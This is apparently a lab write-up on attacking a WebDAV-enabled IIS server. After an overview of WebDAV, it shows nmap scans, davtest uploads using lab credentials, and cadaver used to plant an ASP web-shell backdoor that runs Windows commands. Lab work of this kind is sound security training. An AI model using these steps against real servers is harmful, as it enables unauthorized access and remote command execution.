# WebDAV WebDAV is an extension of the [HTTP protocol](https://www.google.com/search?q=HTTP+protocol\&oq=webdav\&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIMCAEQIxgnGIAEGIoFMgYIAhAjGCcyEwgDEC4YgwEYxwEYsQMY0QMYgAQyDQgEEAAYgwEYsQMYgAQyDQgFEAAYgwEYsQMYgAQyDQgGEAAYgwEYsQMYgAQyBggHEEUYQdIBCDYzOThqMGo3qAIAsAIA\&sourceid=chrome\&ie=UTF-8\&ved=2ahUKEwifvoLYvJeRAxWAT0EAHWqRLwgQgK4QegYIAQgAEAQ) that allows users to collaboratively edit and manage files on remote web servers as if they were a local network drive. It enables remote read and write access to server files, providing a way to manage web content and acting as an alternative to protocols like FTP. Common use cases include acting as a backend for cloud storage services and providing access to shared folders on network-attached storage (NAS) devices. How it works * **Protocol Extensions**: WebDAV adds new methods to the HTTP protocol to manage files, such as `COPY`, `MOVE`, and `LOCK`. * **Remote File Access**: It allows clients to perform file operations like creating, deleting, and renaming files and folders over a network. * **Collaborative Editing**: The `LOCK` command prevents multiple users from editing the same file simultaneously, which is crucial for collaborative environments. * **Standardization**: It is an open standard, meaning it can be implemented across different operating systems like Windows, macOS, and Linux. Common uses and features * **Cloud Storage**: Many cloud storage services, like Nextcloud and some configurations of Box, use WebDAV to provide remote access to files. * **Network Drives**: It allows you to map a remote folder on a web server as a network drive on your local computer. * **Alternatives to FTP**: WebDAV is often seen as a more secure and convenient alternative to FTP because it can use the same port as regular web traffic (port 80 or 443), and it has better security options built in. * **Other Protocols**: WebDAV is the foundation for other protocols like CalDAV (for calendars) and [CardDAV](https://www.google.com/search?q=CardDAV\&oq=webdav\&gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIMCAEQIxgnGIAEGIoFMgYIAhAjGCcyEwgDEC4YgwEYxwEYsQMY0QMYgAQyDQgEEAAYgwEYsQMYgAQyDQgFEAAYgwEYsQMYgAQyDQgGEAAYgwEYsQMYgAQyBggHEEUYQdIBCDYzOThqMGo3qAIAsAIA\&sourceid=chrome\&ie=UTF-8\&ved=2ahUKEwifvoLYvJeRAxWAT0EAHWqRLwgQgK4QegYIAQgAEBU) (for address books). How to connect * **Windows**: You can map a WebDAV drive through File Explorer by right-clicking "This PC," selecting "Map network drive," and entering the WebDAV server's URL. * **macOS**: Use the "Connect to Server" option in Finder and enter the server's path, which often starts with `https://`. * **Linux**: You can mount a WebDAV share from the command line using tools like `davfs2`. ### Scanning We have webdav on IIS ``` ┌──(root㉿INE)-[~] └─# sudo nmap -A demo.ine.local Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-29 19:05 IST Nmap scan report for demo.ine.local (10.5.23.28) Host is up (0.0032s latency). Not shown: 994 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE COPY PROPFIND LOCK UNLOCK PROPPATCH MKCOL PUT DELETE MOVE |_http-title: Did not follow redirect to /Default.aspx | http-webdav-scan: | Server Type: Microsoft-IIS/10.0 | Allowed Methods: OPTIONS, TRACE, GET, HEAD, POST, COPY, PROPFIND, LOCK, UNLOCK | Public Options: OPTIONS, TRACE, GET, HEAD, POST, PROPFIND, PROPPATCH, MKCOL, PUT, DELETE, COPY, MOVE, LOCK, UNLOCK | WebDAV type: Unknown |_ Server Date: Sat, 29 Nov 2025 13:36:20 GMT |_http-server-header: Microsoft-IIS/10.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3306/tcp open mysql MySQL (unauthorized) 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: DOTNETGOAT | NetBIOS_Domain_Name: DOTNETGOAT | NetBIOS_Computer_Name: DOTNETGOAT | DNS_Domain_Name: DotNetGoat | DNS_Computer_Name: DotNetGoat | Product_Version: 10.0.17763 |_ System_Time: 2025-11-29T13:36:20+00:00 | ssl-cert: Subject: commonName=DotNetGoat | Not valid before: 2025-11-28T13:34:01 |_Not valid after: 2026-05-30T13:34:01 |_ssl-date: 2025-11-29T13:36:28+00:00; 0s from scanner time. No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=11/29%OT=80%CT=1%CU=33097%PV=Y%DS=3%DC=T%G=Y%TM=692 OS:AF6DD%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S OS:%TS=U)SEQ(SP=107%GCD=4%ISR=108%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M55FNW8NN OS:S%O2=M55FNW8NNS%O3=M55FNW8%O4=M55FNW8NNS%O5=M55FNW8NNS%O6=M55FNNS)WIN(W1 OS:=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=7F%W=FFFF%O OS:=M55FNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=7F%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T OS:=7F%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=7F%W=0%S=Z%A=O%F=AR%O=%RD= OS:0%Q=)T4(R=Y%DF=Y%T=7F%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=7F%W=0%S= OS:Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=7F%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R= OS:Y%DF=Y%T=7F%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=7F%IPL=164%UN=0%R OS:IPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=7F%CD=Z) Network Distance: 3 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required | smb2-time: | date: 2025-11-29T13:36:24 |_ start_date: N/A TRACEROUTE (using port 1723/tcp) HOP RTT ADDRESS 1 0.07 ms ap-south-17 (10.10.44.1) 2 ... 3 3.40 ms demo.ine.local (10.5.23.28) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 33.13 seconds ``` ### Finding WebDav directories We can make use of Nmap script to find the webdav directory ``` ──(root㉿INE)-[~] └─# nmap --script http-enum -sV -p 80 demo.ine.local Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-29 19:09 IST Nmap scan report for demo.ine.local (10.5.23.28) Host is up (0.0034s latency). PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-enum: |_ /webdav/: Potentially interesting folder (401 Unauthorized) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.95 seconds ``` ### Running davtest tool ``` davtest -url http://demo.ine.local/webdav ```
We can notice, /webdav path is secured with basic authentication. #### Running davtest tool with credentials ``` ┌──(root㉿INE)-[~] └─# davtest -auth bob:password_123321 -url http://demo.ine.local/webdav ******************************************************** Testing DAV connection OPEN SUCCEED: http://demo.ine.local/webdav ******************************************************** NOTE Random string for this session: sDxVmbzX_Ps ******************************************************** Creating directory MKCOL SUCCEED: Created http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps ******************************************************** Sending test files PUT php SUCCEED: http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.php PUT shtml SUCCEED: http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.shtml PUT txt SUCCEED: http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.txt PUT jsp SUCCEED: http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.jsp PUT pl SUCCEED: http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.pl PUT cfm SUCCEED: http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.cfm PUT aspx SUCCEED: http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.aspx PUT asp SUCCEED: http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.asp PUT jhtml SUCCEED: http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.jhtml PUT cgi SUCCEED: http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.cgi PUT html SUCCEED: http://demo.ine.local/webdav/DavTestDir_sDxVmbzX_Ps/davtest_sDxVmbzX_Ps.html ```
We can notice, we have uploaded almost all the important file types to the /webdav directory. Also, we can execute three types of files. i.e asp, text, and html. ### Upload a asp shell using cadaver The **cadaver tool** is a **command-line WebDAV client for Unix** that allows users to interact with WebDAV-enabled web servers as if they were a local or network filesystem. Its operation is modeled after the standard BSD `ftp` client and the Samba project's `smbclient` tool, making it familiar to users experienced with those command-line interfaces ``` ┌──(root㉿INE)-[~] └─# cadaver http://demo.ine.local/webdav Authentication required for demo.ine.local on server `demo.ine.local': Username: bob Password: dav:/webdav/> ``` Now Upload asp backdoor to the IIS web server in webdav directory. ``` put /usr/share/webshells/asp/webshell.asp ls ```
### Access the backdoor using the firefox browser **URL:** **Enter credentials:** bob:password\_123321
We can enter Windows commands in the text-box input field. URL: